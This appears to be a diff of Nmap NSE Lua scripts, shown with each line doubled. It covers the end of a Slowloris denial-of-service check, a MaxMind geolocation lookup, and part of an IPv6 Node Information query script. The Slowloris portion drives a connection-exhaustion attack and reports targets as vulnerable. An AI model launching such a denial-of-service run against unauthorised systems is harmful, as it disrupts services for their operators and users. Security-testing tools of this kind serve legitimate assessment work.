-- in order to have as many sockets as we can available to -- in order to have as many sockets as we can available to
-- this script -- this script
set_parameters() set_parameters()
local output = {} local output = {}
local start, stop, dos_time local start, stop, dos_time
start = os.date("!*t") start = os.date("!*t")
-- The first thread is for monitoring and is launched before the attack threads -- The first thread is for monitoring and is launched before the attack threads
stdnse.new_thread(do_monitor, host, port) stdnse.new_thread(do_monitor, host, port)
stdnse.sleep(2) -- let the monitor make the first request stdnse.sleep(2) -- let the monitor make the first request
stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: starting scheduler") stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: starting scheduler")
stdnse.new_thread(worker_scheduler, host, port) stdnse.new_thread(worker_scheduler, host, port)
local end_time = get_end_time() local end_time = get_end_time()
local last_message local last_message
if TimeLimit == nil then if TimeLimit == nil then
stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: running forever!") stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: running forever!")
end end
-- return a live notice from time to time -- return a live notice from time to time
while (nmap.clock_ms() < end_time or TimeLimit == nil) and not StopAll do while (nmap.clock_ms() < end_time or TimeLimit == nil) and not StopAll do
if ServerNotice ~= last_message then if ServerNotice ~= last_message then
-- don't flood the output by repeating the same info -- don't flood the output by repeating the same info
stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: " .. ServerNotice) stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: " .. ServerNotice)
last_message = ServerNotice last_message = ServerNotice
end end
if DOSed and TimeLimit ~= nil then if DOSed and TimeLimit ~= nil then
break break
end end
stdnse.sleep(10) stdnse.sleep(10)
end end
stop = os.date("!*t") stop = os.date("!*t")
dos_time = stdnse.format_difftime(stop, start) dos_time = stdnse.format_difftime(stop, start)
StopAll = true StopAll = true
if DOSed then if DOSed then
if Reason == "slowloris" then if Reason == "slowloris" then
stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped, building output") stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped, building output")
output = "Vulnerable:\n" .. output = "Vulnerable:\n" ..
"the DoS attack took ".. "the DoS attack took "..
dos_time .. "\n" .. dos_time .. "\n" ..
"with ".. Sockets .. " concurrent connections\n" .. "with ".. Sockets .. " concurrent connections\n" ..
"and " .. Queries .." sent queries" "and " .. Queries .." sent queries"
else else
stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped. Monitor couldn't communicate with the server.") stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped. Monitor couldn't communicate with the server.")
output = "Probably vulnerable:\n" .. output = "Probably vulnerable:\n" ..
"the DoS attack took " .. dos_time .. "\n" .. "the DoS attack took " .. dos_time .. "\n" ..
"with " .. Sockets .. " concurrent connections\n" .. "with " .. Sockets .. " concurrent connections\n" ..
"and " .. Queries .. " sent queries\n" .. "and " .. Queries .. " sent queries\n" ..
"Monitoring thread couldn't communicate with the server. " .. "Monitoring thread couldn't communicate with the server. " ..
"This is probably due to max clients exhaustion or something similar but not due to slowloris attack." "This is probably due to max clients exhaustion or something similar but not due to slowloris attack."
end end
Mutex("done") -- release the mutex Mutex("done") -- release the mutex
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end
Mutex("done") -- release the mutex Mutex("done") -- release the mutex
return false return false
end end

File diff suppressed because it is too large Load Diff

View File

@@ -33,48 +33,48 @@ categories = {"discovery","external","safe"}
hostrule = function(host) hostrule = function(host)
local is_private, err = ipOps.isPrivate( host.ip ) local is_private, err = ipOps.isPrivate( host.ip )
if is_private == nil then if is_private == nil then
stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err ) stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err )
return false return false
end end
return not is_private return not is_private
end end
local MaxmindDef = { local MaxmindDef = {
-- Database structure constants -- Database structure constants
COUNTRY_BEGIN = 16776960, COUNTRY_BEGIN = 16776960,
STATE_BEGIN_REV0 = 16700000, STATE_BEGIN_REV0 = 16700000,
STATE_BEGIN_REV1 = 16000000, STATE_BEGIN_REV1 = 16000000,
STRUCTURE_INFO_MAX_SIZE = 20, STRUCTURE_INFO_MAX_SIZE = 20,
DATABASE_INFO_MAX_SIZE = 100, DATABASE_INFO_MAX_SIZE = 100,
-- Database editions, -- Database editions,
COUNTRY_EDITION = 1, COUNTRY_EDITION = 1,
REGION_EDITION_REV0 = 7, REGION_EDITION_REV0 = 7,
REGION_EDITION_REV1 = 3, REGION_EDITION_REV1 = 3,
CITY_EDITION_REV0 = 6, CITY_EDITION_REV0 = 6,
CITY_EDITION_REV1 = 2, CITY_EDITION_REV1 = 2,
ORG_EDITION = 5, ORG_EDITION = 5,
ISP_EDITION = 4, ISP_EDITION = 4,
PROXY_EDITION = 8, PROXY_EDITION = 8,
ASNUM_EDITION = 9, ASNUM_EDITION = 9,
NETSPEED_EDITION = 11, NETSPEED_EDITION = 11,
COUNTRY_EDITION_V6 = 12, COUNTRY_EDITION_V6 = 12,
SEGMENT_RECORD_LENGTH = 3, SEGMENT_RECORD_LENGTH = 3,
STANDARD_RECORD_LENGTH = 3, STANDARD_RECORD_LENGTH = 3,
ORG_RECORD_LENGTH = 4, ORG_RECORD_LENGTH = 4,
MAX_RECORD_LENGTH = 4, MAX_RECORD_LENGTH = 4,
MAX_ORG_RECORD_LENGTH = 300, MAX_ORG_RECORD_LENGTH = 300,
FULL_RECORD_LENGTH = 50, FULL_RECORD_LENGTH = 50,
US_OFFSET = 1, US_OFFSET = 1,
CANADA_OFFSET = 677, CANADA_OFFSET = 677,
WORLD_OFFSET = 1353, WORLD_OFFSET = 1353,
FIPS_RANGE = 360, FIPS_RANGE = 360,
DMA_MAP = { DMA_MAP = {
[500] = 'Portland-Auburn, ME', [500] = 'Portland-Auburn, ME',
[501] = 'New York, NY', [501] = 'New York, NY',
[502] = 'Binghamton, NY', [502] = 'Binghamton, NY',
@@ -287,8 +287,8 @@ local MaxmindDef = {
[866] = 'Fresno, CA', [866] = 'Fresno, CA',
[868] = 'Chico-Redding, CA', [868] = 'Chico-Redding, CA',
[881] = 'Spokane, WA' [881] = 'Spokane, WA'
}, },
COUNTRY_CODES = { COUNTRY_CODES = {
'', 'AP', 'EU', 'AD', 'AE', 'AF', 'AG', 'AI', 'AL', 'AM', 'AN', 'AO', 'AQ', '', 'AP', 'EU', 'AD', 'AE', 'AF', 'AG', 'AI', 'AL', 'AM', 'AN', 'AO', 'AQ',
'AR', 'AS', 'AT', 'AU', 'AW', 'AZ', 'BA', 'BB', 'BD', 'BE', 'BF', 'BG', 'BH', 'AR', 'AS', 'AT', 'AU', 'AW', 'AZ', 'BA', 'BB', 'BD', 'BE', 'BF', 'BG', 'BH',
'BI', 'BJ', 'BM', 'BN', 'BO', 'BR', 'BS', 'BT', 'BV', 'BW', 'BY', 'BZ', 'CA', 'BI', 'BJ', 'BM', 'BN', 'BO', 'BR', 'BS', 'BT', 'BV', 'BW', 'BY', 'BZ', 'CA',
@@ -309,8 +309,8 @@ local MaxmindDef = {
'TZ', 'UA', 'UG', 'UM', 'US', 'UY', 'UZ', 'VA', 'VC', 'VE', 'VG', 'VI', 'VN', 'TZ', 'UA', 'UG', 'UM', 'US', 'UY', 'UZ', 'VA', 'VC', 'VE', 'VG', 'VI', 'VN',
'VU', 'WF', 'WS', 'YE', 'YT', 'RS', 'ZA', 'ZM', 'ME', 'ZW', 'A1', 'A2', 'O1', 'VU', 'WF', 'WS', 'YE', 'YT', 'RS', 'ZA', 'ZM', 'ME', 'ZW', 'A1', 'A2', 'O1',
'AX', 'GG', 'IM', 'JE', 'BL', 'MF' 'AX', 'GG', 'IM', 'JE', 'BL', 'MF'
}, },
COUNTRY_CODES3 = { COUNTRY_CODES3 = {
'','AP','EU','AND','ARE','AFG','ATG','AIA','ALB','ARM','ANT','AGO','AQ','ARG', '','AP','EU','AND','ARE','AFG','ATG','AIA','ALB','ARM','ANT','AGO','AQ','ARG',
'ASM','AUT','AUS','ABW','AZE','BIH','BRB','BGD','BEL','BFA','BGR','BHR','BDI', 'ASM','AUT','AUS','ABW','AZE','BIH','BRB','BGD','BEL','BFA','BGR','BHR','BDI',
'BEN','BMU','BRN','BOL','BRA','BHS','BTN','BV','BWA','BLR','BLZ','CAN','CC', 'BEN','BMU','BRN','BOL','BRA','BHS','BTN','BV','BWA','BLR','BLZ','CAN','CC',
@@ -331,8 +331,8 @@ local MaxmindDef = {
'UKR','UGA','UM','USA','URY','UZB','VAT','VCT','VEN','VGB','VIR','VNM','VUT', 'UKR','UGA','UM','USA','URY','UZB','VAT','VCT','VEN','VGB','VIR','VNM','VUT',
'WLF','WSM','YEM','YT','SRB','ZAF','ZMB','MNE','ZWE','A1','A2','O1', 'WLF','WSM','YEM','YT','SRB','ZAF','ZMB','MNE','ZWE','A1','A2','O1',
'ALA','GGY','IMN','JEY','BLM','MAF' 'ALA','GGY','IMN','JEY','BLM','MAF'
}, },
COUNTRY_NAMES = { COUNTRY_NAMES = {
"", "Asia/Pacific Region", "Europe", "Andorra", "United Arab Emirates", "", "Asia/Pacific Region", "Europe", "Andorra", "United Arab Emirates",
"Afghanistan", "Antigua and Barbuda", "Anguilla", "Albania", "Armenia", "Afghanistan", "Antigua and Barbuda", "Anguilla", "Albania", "Armenia",
"Netherlands Antilles", "Angola", "Antarctica", "Argentina", "American Samoa", "Netherlands Antilles", "Angola", "Antarctica", "Argentina", "American Samoa",
@@ -386,226 +386,226 @@ local MaxmindDef = {
"Serbia", "South Africa", "Zambia", "Montenegro", "Zimbabwe", "Serbia", "South Africa", "Zambia", "Montenegro", "Zimbabwe",
"Anonymous Proxy","Satellite Provider","Other", "Anonymous Proxy","Satellite Provider","Other",
"Aland Islands","Guernsey","Isle of Man","Jersey","Saint Barthelemy","Saint Martin" "Aland Islands","Guernsey","Isle of Man","Jersey","Saint Barthelemy","Saint Martin"
} }
} }
local ip2long=function(ip_str) local ip2long=function(ip_str)
local ip = stdnse.strsplit('%.',ip_str) local ip = stdnse.strsplit('%.',ip_str)
local ip_num = (tonumber(ip[1])*16777216 + tonumber(ip[2])*65536 local ip_num = (tonumber(ip[1])*16777216 + tonumber(ip[2])*65536
+ tonumber(ip[3])*256 + tonumber(ip[4])) + tonumber(ip[3])*256 + tonumber(ip[4]))
return ip_num return ip_num
end end
local GeoIP = { local GeoIP = {
new = function(self, filename) new = function(self, filename)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o._filename=filename o._filename=filename
local err local err
o._filehandle= assert(io.open(filename,'rb')) o._filehandle= assert(io.open(filename,'rb'))
o._databaseType = MaxmindDef.COUNTRY_EDITION o._databaseType = MaxmindDef.COUNTRY_EDITION
o._recordLength = MaxmindDef.STANDARD_RECORD_LENGTH o._recordLength = MaxmindDef.STANDARD_RECORD_LENGTH
local filepos = o._filehandle:seek() local filepos = o._filehandle:seek()
o._filehandle:seek("end",-3) o._filehandle:seek("end",-3)
for i=1,MaxmindDef.STRUCTURE_INFO_MAX_SIZE do for i=1,MaxmindDef.STRUCTURE_INFO_MAX_SIZE do
local delim = o._filehandle:read(3) local delim = o._filehandle:read(3)
if delim == '\255\255\255' then if delim == '\255\255\255' then
o._databaseType = o._filehandle:read(1):byte() o._databaseType = o._filehandle:read(1):byte()
-- backward compatibility with databases from April 2003 and earlier -- backward compatibility with databases from April 2003 and earlier
if (o._databaseType >= 106) then if (o._databaseType >= 106) then
o._databaseType = o._databaseType - 105 o._databaseType = o._databaseType - 105
end end
local fast_combo1={[MaxmindDef.CITY_EDITION_REV0]=true, local fast_combo1={[MaxmindDef.CITY_EDITION_REV0]=true,
[MaxmindDef.CITY_EDITION_REV1]=true, [MaxmindDef.CITY_EDITION_REV1]=true,
[MaxmindDef.ORG_EDITION]=true, [MaxmindDef.ORG_EDITION]=true,
[MaxmindDef.ISP_EDITION]=true, [MaxmindDef.ISP_EDITION]=true,
[MaxmindDef.ASNUM_EDITION]=true} [MaxmindDef.ASNUM_EDITION]=true}
if o._databaseType == MaxmindDef.REGION_EDITION_REV0 then if o._databaseType == MaxmindDef.REGION_EDITION_REV0 then
o._databaseSegments = MaxmindDef.STATE_BEGIN_REV0 o._databaseSegments = MaxmindDef.STATE_BEGIN_REV0
elseif o._databaseType == MaxmindDef.REGION_EDITION_REV1 then elseif o._databaseType == MaxmindDef.REGION_EDITION_REV1 then
o._databaseSegments = MaxmindDef.STATE_BEGIN_REV1 o._databaseSegments = MaxmindDef.STATE_BEGIN_REV1
elseif fast_combo1[o._databaseType] then elseif fast_combo1[o._databaseType] then
o._databaseSegments = 0 o._databaseSegments = 0
local buf = o._filehandle:read(MaxmindDef.SEGMENT_RECORD_LENGTH) local buf = o._filehandle:read(MaxmindDef.SEGMENT_RECORD_LENGTH)
-- the original representation in the MaxMind API is ANSI C integer -- the original representation in the MaxMind API is ANSI C integer
-- which should not overflow the greatest value Lua can offer ;) -- which should not overflow the greatest value Lua can offer ;)
for j=0,(MaxmindDef.SEGMENT_RECORD_LENGTH-1) do for j=0,(MaxmindDef.SEGMENT_RECORD_LENGTH-1) do
o._databaseSegments = o._databaseSegments + bit.lshift( buf:byte(j+1), j*8) o._databaseSegments = o._databaseSegments + bit.lshift( buf:byte(j+1), j*8)
end end
if o._databaseType == MaxmindDef.ORG_EDITION or o._databaseType == MaxmindDef.ISP_EDITION then if o._databaseType == MaxmindDef.ORG_EDITION or o._databaseType == MaxmindDef.ISP_EDITION then
o._recordLength = MaxmindDef.ORG_RECORD_LENGTH o._recordLength = MaxmindDef.ORG_RECORD_LENGTH
end end
end end
break break
else else
o._filehandle:seek("cur",-4) o._filehandle:seek("cur",-4)
end end
end end
if o._databaseType == MaxmindDef.COUNTRY_EDITION then if o._databaseType == MaxmindDef.COUNTRY_EDITION then
o._databaseSegments = MaxmindDef.COUNTRY_BEGIN o._databaseSegments = MaxmindDef.COUNTRY_BEGIN
end end
o._filehandle:seek("set",filepos) o._filehandle:seek("set",filepos)
return o return o
end, end,
output_record_by_addr = function(self,addr) output_record_by_addr = function(self,addr)
local loc = self:record_by_addr(addr) local loc = self:record_by_addr(addr)
if not loc then return nil end if not loc then return nil end
local output = {} local output = {}
--output.name = "Maxmind database" --output.name = "Maxmind database"
table.insert(output, "coordinates (lat,lon): " .. loc.latitude .. "," .. loc.longitude) table.insert(output, "coordinates (lat,lon): " .. loc.latitude .. "," .. loc.longitude)
local str = "" local str = ""
if loc.city then if loc.city then
str = str.."city: "..loc.city str = str.."city: "..loc.city
end end
if loc.metro_code then if loc.metro_code then
str = str .. ", "..loc.metro_code str = str .. ", "..loc.metro_code
end end
if loc.country_name then if loc.country_name then
str = str .. ", "..loc.country_name str = str .. ", "..loc.country_name
end end
table.insert(output,str) table.insert(output,str)
return output return output
end, end,
record_by_addr=function(self,addr) record_by_addr=function(self,addr)
local ipnum = ip2long(addr) local ipnum = ip2long(addr)
return self:_get_record(ipnum) return self:_get_record(ipnum)
end, end,
_get_record=function(self,ipnum) _get_record=function(self,ipnum)
local seek_country = self:_seek_country(ipnum) local seek_country = self:_seek_country(ipnum)
if seek_country == self._databaseSegments then if seek_country == self._databaseSegments then
return nil return nil
end end
local record_pointer = seek_country + (2 * self._recordLength - 1) * self._databaseSegments local record_pointer = seek_country + (2 * self._recordLength - 1) * self._databaseSegments
self._filehandle:seek("set",record_pointer) self._filehandle:seek("set",record_pointer)
local record_buf = self._filehandle:read(MaxmindDef.FULL_RECORD_LENGTH) local record_buf = self._filehandle:read(MaxmindDef.FULL_RECORD_LENGTH)
local record = {} local record = {}
local start_pos = 1 local start_pos = 1
local char = record_buf:byte(start_pos) local char = record_buf:byte(start_pos)
char=char+1 char=char+1
record.country_code = MaxmindDef.COUNTRY_CODES[char] record.country_code = MaxmindDef.COUNTRY_CODES[char]
record.country_code3 = MaxmindDef.COUNTRY_CODES3[char] record.country_code3 = MaxmindDef.COUNTRY_CODES3[char]
record.country_name = MaxmindDef.COUNTRY_NAMES[char] record.country_name = MaxmindDef.COUNTRY_NAMES[char]
start_pos = start_pos + 1 start_pos = start_pos + 1
local end_pos = 0 local end_pos = 0
end_pos = record_buf:find("\0",start_pos) end_pos = record_buf:find("\0",start_pos)
if start_pos ~= end_pos then if start_pos ~= end_pos then
record.region_name = record_buf:sub(start_pos, end_pos-1) record.region_name = record_buf:sub(start_pos, end_pos-1)
end end
start_pos = end_pos + 1 start_pos = end_pos + 1
end_pos = record_buf:find("\0",start_pos) end_pos = record_buf:find("\0",start_pos)
if start_pos ~= end_pos then if start_pos ~= end_pos then
record.city = record_buf:sub(start_pos, end_pos-1) record.city = record_buf:sub(start_pos, end_pos-1)
end end
start_pos = end_pos + 1 start_pos = end_pos + 1
end_pos = record_buf:find("\0",start_pos) end_pos = record_buf:find("\0",start_pos)
if start_pos ~= end_pos then if start_pos ~= end_pos then
record.postal_code = record_buf:sub(start_pos, end_pos-1) record.postal_code = record_buf:sub(start_pos, end_pos-1)
end end
start_pos = end_pos + 1 start_pos = end_pos + 1
local c1,c2,c3=record_buf:byte(start_pos,start_pos+3) local c1,c2,c3=record_buf:byte(start_pos,start_pos+3)
record.latitude = (( bit.lshift(c1,0*8) + bit.lshift(c2,1*8) + bit.lshift(c3,2*8) )/10000) - 180 record.latitude = (( bit.lshift(c1,0*8) + bit.lshift(c2,1*8) + bit.lshift(c3,2*8) )/10000) - 180
start_pos = start_pos +3 start_pos = start_pos +3
c1,c2,c3=record_buf:byte(start_pos,start_pos+3) c1,c2,c3=record_buf:byte(start_pos,start_pos+3)
record.longitude = (( bit.lshift(c1,0*8) + bit.lshift(c2,1*8) + bit.lshift(c3,2*8) )/10000) - 180 record.longitude = (( bit.lshift(c1,0*8) + bit.lshift(c2,1*8) + bit.lshift(c3,2*8) )/10000) - 180
start_pos = start_pos +3 start_pos = start_pos +3
if self._databaseType == MaxmindDef.CITY_EDITION_REV1 and record.country_code=='US' then if self._databaseType == MaxmindDef.CITY_EDITION_REV1 and record.country_code=='US' then
c1,c2,c3=record_buf:byte(start_pos,start_pos+3) c1,c2,c3=record_buf:byte(start_pos,start_pos+3)
local dmaarea_combo= bit.lshift(c1,0*8) + bit.lshift(c2,1*8) + bit.lshift(c3,2*8) local dmaarea_combo= bit.lshift(c1,0*8) + bit.lshift(c2,1*8) + bit.lshift(c3,2*8)
record.dma_code = math.floor(dmaarea_combo/1000) record.dma_code = math.floor(dmaarea_combo/1000)
record.area_code = dmaarea_combo % 1000 record.area_code = dmaarea_combo % 1000
else else
record.dma_code = nil record.dma_code = nil
record.area_code = nil record.area_code = nil
end end
if record.dma_code and MaxmindDef.DMA_MAP[record.dma_code] then if record.dma_code and MaxmindDef.DMA_MAP[record.dma_code] then
record.metro_code = MaxmindDef.DMA_MAP[record.dma_code] record.metro_code = MaxmindDef.DMA_MAP[record.dma_code]
else else
record.metro_code = nil record.metro_code = nil
end end
return record return record
end, end,
_seek_country=function(self,ipnum) _seek_country=function(self,ipnum)
local offset = 0 local offset = 0
for depth=31,0,-1 do for depth=31,0,-1 do
self._filehandle:seek("set", 2 * self._recordLength * offset) self._filehandle:seek("set", 2 * self._recordLength * offset)
local buf = self._filehandle:read(2*self._recordLength) local buf = self._filehandle:read(2*self._recordLength)
local x = {} local x = {}
x[0],x[1] = 0,0 x[0],x[1] = 0,0
for i=0,1 do for i=0,1 do
for j=0,(self._recordLength-1) do for j=0,(self._recordLength-1) do
x[i] = x[i] + bit.lshift(buf:byte((self._recordLength * i + j) +1 ), j*8) x[i] = x[i] + bit.lshift(buf:byte((self._recordLength * i + j) +1 ), j*8)
end end
end end
-- Gotta test this out thorougly because of the ipnum -- Gotta test this out thorougly because of the ipnum
if bit.band(ipnum, bit.lshift(1,depth)) ~= 0 then if bit.band(ipnum, bit.lshift(1,depth)) ~= 0 then
if x[1] >= self._databaseSegments then if x[1] >= self._databaseSegments then
return x[1] return x[1]
end end
offset = x[1] offset = x[1]
else else
if x[0] >= self._databaseSegments then if x[0] >= self._databaseSegments then
return x[0] return x[0]
end end
offset = x[0] offset = x[0]
end end
end end
stdnse.print_debug('Error traversing database - perhaps it is corrupt?') stdnse.print_debug('Error traversing database - perhaps it is corrupt?')
return nil return nil
end, end,
} }
action = function(host,port) action = function(host,port)
local f_maxmind = stdnse.get_script_args(SCRIPT_NAME .. ".maxmind_db") local f_maxmind = stdnse.get_script_args(SCRIPT_NAME .. ".maxmind_db")
local output = {} local output = {}
--if f_maxmind is a string, it should specify the filename of the database --if f_maxmind is a string, it should specify the filename of the database
if f_maxmind then if f_maxmind then
local gi = assert( GeoIP:new(f_maxmind), "Wrong file specified for a Maxmind database") local gi = assert( GeoIP:new(f_maxmind), "Wrong file specified for a Maxmind database")
local out = gi:output_record_by_addr(host.ip) local out = gi:output_record_by_addr(host.ip)
output = out output = out
else else
local gi = assert( GeoIP:new(nmap.fetchfile("nselib/data/GeoLiteCity.dat")), "Cannot read Maxmind database file in 'nselib/data/'.") local gi = assert( GeoIP:new(nmap.fetchfile("nselib/data/GeoLiteCity.dat")), "Cannot read Maxmind database file in 'nselib/data/'.")
local out = gi:output_record_by_addr(host.ip) local out = gi:output_record_by_addr(host.ip)
output = out output = out
end end
if(#output~=0) then if(#output~=0) then
output.name = host.ip output.name = host.ip
if host.targetname then if host.targetname then
output.name = output.name.." ("..host.targetname..")" output.name = output.name.." ("..host.targetname..")"
end end
end end
return stdnse.format_output(true,output) return stdnse.format_output(true,output)
end end

View File

@@ -52,142 +52,142 @@ local QTYPE_NODEADDRESSES = 3
local QTYPE_NODEIPV4ADDRESSES = 4 local QTYPE_NODEIPV4ADDRESSES = 4
local QTYPE_STRINGS = { local QTYPE_STRINGS = {
[QTYPE_NOOP] = "NOOP", [QTYPE_NOOP] = "NOOP",
[QTYPE_NODENAME] = "Hostnames", [QTYPE_NODENAME] = "Hostnames",
[QTYPE_NODEADDRESSES] = "IPv6 addresses", [QTYPE_NODEADDRESSES] = "IPv6 addresses",
[QTYPE_NODEIPV4ADDRESSES] = "IPv4 addresses", [QTYPE_NODEIPV4ADDRESSES] = "IPv4 addresses",
} }
local function build_ni_query(src, dst, qtype) local function build_ni_query(src, dst, qtype)
local payload, p, flags local payload, p, flags
local nonce local nonce
nonce = openssl.rand_pseudo_bytes(8) nonce = openssl.rand_pseudo_bytes(8)
if qtype == QTYPE_NODENAME then if qtype == QTYPE_NODENAME then
flags = 0x0000 flags = 0x0000
elseif qtype == QTYPE_NODEADDRESSES then elseif qtype == QTYPE_NODEADDRESSES then
-- Set all the flags GSLCA (see RFC 4620, Figure 3). -- Set all the flags GSLCA (see RFC 4620, Figure 3).
flags = 0x003E flags = 0x003E
elseif qtype == QTYPE_NODEIPV4ADDRESSES then elseif qtype == QTYPE_NODEIPV4ADDRESSES then
-- Set the A flag (see RFC 4620, Figure 4). -- Set the A flag (see RFC 4620, Figure 4).
flags = 0x0002 flags = 0x0002
else else
error("Unknown qtype " .. qtype) error("Unknown qtype " .. qtype)
end end
payload = bin.pack(">SSAA", qtype, flags, nonce, dst) payload = bin.pack(">SSAA", qtype, flags, nonce, dst)
p = packet.Packet:new() p = packet.Packet:new()
p:build_icmpv6_header(ICMPv6_NODEINFOQUERY, ICMPv6_NODEINFOQUERY_IPv6ADDR, payload, src, dst) p:build_icmpv6_header(ICMPv6_NODEINFOQUERY, ICMPv6_NODEINFOQUERY_IPv6ADDR, payload, src, dst)
p:build_ipv6_packet(src, dst, packet.IPPROTO_ICMPV6) p:build_ipv6_packet(src, dst, packet.IPPROTO_ICMPV6)
return p.buf return p.buf
end end
function hostrule(host) function hostrule(host)
return nmap.is_privileged() and #host.bin_ip == 16 and host.interface return nmap.is_privileged() and #host.bin_ip == 16 and host.interface
end end
local function open_sniffer(host) local function open_sniffer(host)
local bpf local bpf
local s local s
s = nmap.new_socket() s = nmap.new_socket()
bpf = string.format("ip6 and src host %s", host.ip) bpf = string.format("ip6 and src host %s", host.ip)
s:pcap_open(host.interface, 1500, false, bpf) s:pcap_open(host.interface, 1500, false, bpf)
return s return s
end end
local function send_queries(host) local function send_queries(host)
local dnet local dnet
dnet = nmap.new_dnet() dnet = nmap.new_dnet()
dnet:ip_open() dnet:ip_open()
local p = build_ni_query(host.bin_ip_src, host.bin_ip, QTYPE_NODEADDRESSES) local p = build_ni_query(host.bin_ip_src, host.bin_ip, QTYPE_NODEADDRESSES)
dnet:ip_send(p, host) dnet:ip_send(p, host)
p = build_ni_query(host.bin_ip_src, host.bin_ip, QTYPE_NODENAME) p = build_ni_query(host.bin_ip_src, host.bin_ip, QTYPE_NODENAME)
dnet:ip_send(p, host) dnet:ip_send(p, host)
p = build_ni_query(host.bin_ip_src, host.bin_ip, QTYPE_NODEIPV4ADDRESSES) p = build_ni_query(host.bin_ip_src, host.bin_ip, QTYPE_NODEIPV4ADDRESSES)
dnet:ip_send(p, host) dnet:ip_send(p, host)
dnet:ip_close() dnet:ip_close()
end end
local function empty(t) local function empty(t)
return not next(t) return not next(t)
end end
-- Try to decode a Node Name reply data field. If successful, returns true and -- Try to decode a Node Name reply data field. If successful, returns true and
-- a list of DNS names. In case of a parsing error, returns false and the -- a list of DNS names. In case of a parsing error, returns false and the
-- partial list of names that were parsed prior to the error. -- partial list of names that were parsed prior to the error.
local function try_decode_nodenames(data) local function try_decode_nodenames(data)
local ttl local ttl
local names = {} local names = {}
local pos = nil local pos = nil
pos, ttl = bin.unpack(">I", data, pos) pos, ttl = bin.unpack(">I", data, pos)
if not ttl then if not ttl then
return false, names return false, names
end end
while pos <= #data do while pos <= #data do
local name local name
pos, name = dns.decStr(data, pos) pos, name = dns.decStr(data, pos)
if not name then if not name then
return false, names return false, names
end end
-- Ignore empty names, such as those at the end. -- Ignore empty names, such as those at the end.
if name ~= "" then if name ~= "" then
names[#names + 1] = name names[#names + 1] = name
end end
end end
return true, names return true, names
end end
local function stringify_noop(flags, data) local function stringify_noop(flags, data)
return "replied" return "replied"
end end
-- RFC 4620, section 6.3. -- RFC 4620, section 6.3.
local function stringify_nodename(flags, data) local function stringify_nodename(flags, data)
local status, names local status, names
local text local text
status, names = try_decode_nodenames(data) status, names = try_decode_nodenames(data)
if empty(names) then if empty(names) then
return return
end end
text = stdnse.strjoin(", ", names) text = stdnse.strjoin(", ", names)
if not status then if not status then
text = text .. " (parsing error)" text = text .. " (parsing error)"
end end
return text return text
end end
-- RFC 4620, section 6.3. -- RFC 4620, section 6.3.
local function stringify_nodeaddresses(flags, data) local function stringify_nodeaddresses(flags, data)
local ttl, binaddr local ttl, binaddr
local text local text
local addrs = {} local addrs = {}
local pos = nil local pos = nil
while true do while true do
pos, ttl, binaddr = bin.unpack(">IA16", data, pos) pos, ttl, binaddr = bin.unpack(">IA16", data, pos)
if not ttl then if not ttl then
break break
end end
addrs[#addrs + 1] = packet.toipv6(binaddr) addrs[#addrs + 1] = packet.toipv6(binaddr)
end end
if empty(addrs) then if empty(addrs) then
return return
end end
text = stdnse.strjoin(", ", addrs) text = stdnse.strjoin(", ", addrs)
if bit.band(flags, 0x01) ~= 0 then if bit.band(flags, 0x01) ~= 0 then
text = text .. " (more omitted for space reasons)" text = text .. " (more omitted for space reasons)"
end end
return text return text
end end
-- RFC 4620, section 6.4. -- RFC 4620, section 6.4.
@@ -200,133 +200,133 @@ end
-- 00 00 00 00 0e 6d 61 63 2d 6d 69 6e 69 2e 6c 6f .....mac -mini.lo -- 00 00 00 00 0e 6d 61 63 2d 6d 69 6e 69 2e 6c 6f .....mac -mini.lo
-- 63 61 6c cal -- 63 61 6c cal
local function stringify_nodeipv4addresses(flags, data) local function stringify_nodeipv4addresses(flags, data)
local status, names local status, names
local ttl, binaddr local ttl, binaddr
local text local text
local addrs = {} local addrs = {}
local pos = nil local pos = nil
-- Check for DNS names. -- Check for DNS names.
status, names = try_decode_nodenames(data .. "\0\0") status, names = try_decode_nodenames(data .. "\0\0")
if status then if status then
return "(actually hostnames) " .. stdnse.strjoin(", ", names) return "(actually hostnames) " .. stdnse.strjoin(", ", names)
end end
-- Okay, looks like it's really IP addresses. -- Okay, looks like it's really IP addresses.
while true do while true do
pos, ttl, binaddr = bin.unpack(">IA4", data, pos) pos, ttl, binaddr = bin.unpack(">IA4", data, pos)
if not ttl then if not ttl then
break break
end end
addrs[#addrs + 1] = packet.toip(binaddr) addrs[#addrs + 1] = packet.toip(binaddr)
end end
if empty(addrs) then if empty(addrs) then
return return
end end
text = stdnse.strjoin(", ", addrs) text = stdnse.strjoin(", ", addrs)
if bit.band(flags, 0x01) ~= 0 then if bit.band(flags, 0x01) ~= 0 then
text = text .. " (more omitted for space reasons)" text = text .. " (more omitted for space reasons)"
end end
return text return text
end end
local STRINGIFY = { local STRINGIFY = {
[QTYPE_NOOP] = stringify_noop, [QTYPE_NOOP] = stringify_noop,
[QTYPE_NODENAME] = stringify_nodename, [QTYPE_NODENAME] = stringify_nodename,
[QTYPE_NODEADDRESSES] = stringify_nodeaddresses, [QTYPE_NODEADDRESSES] = stringify_nodeaddresses,
[QTYPE_NODEIPV4ADDRESSES] = stringify_nodeipv4addresses, [QTYPE_NODEIPV4ADDRESSES] = stringify_nodeipv4addresses,
} }
local function handle_received_packet(buf) local function handle_received_packet(buf)
local p, qtype, flags, data local p, qtype, flags, data
local text local text
p = packet.Packet:new(buf) p = packet.Packet:new(buf)
if p.icmpv6_type ~= ICMPv6_NODEINFORESP then if p.icmpv6_type ~= ICMPv6_NODEINFORESP then
return return
end end
qtype = packet.u16(p.buf, p.icmpv6_offset + 4) qtype = packet.u16(p.buf, p.icmpv6_offset + 4)
flags = packet.u16(p.buf, p.icmpv6_offset + 6) flags = packet.u16(p.buf, p.icmpv6_offset + 6)
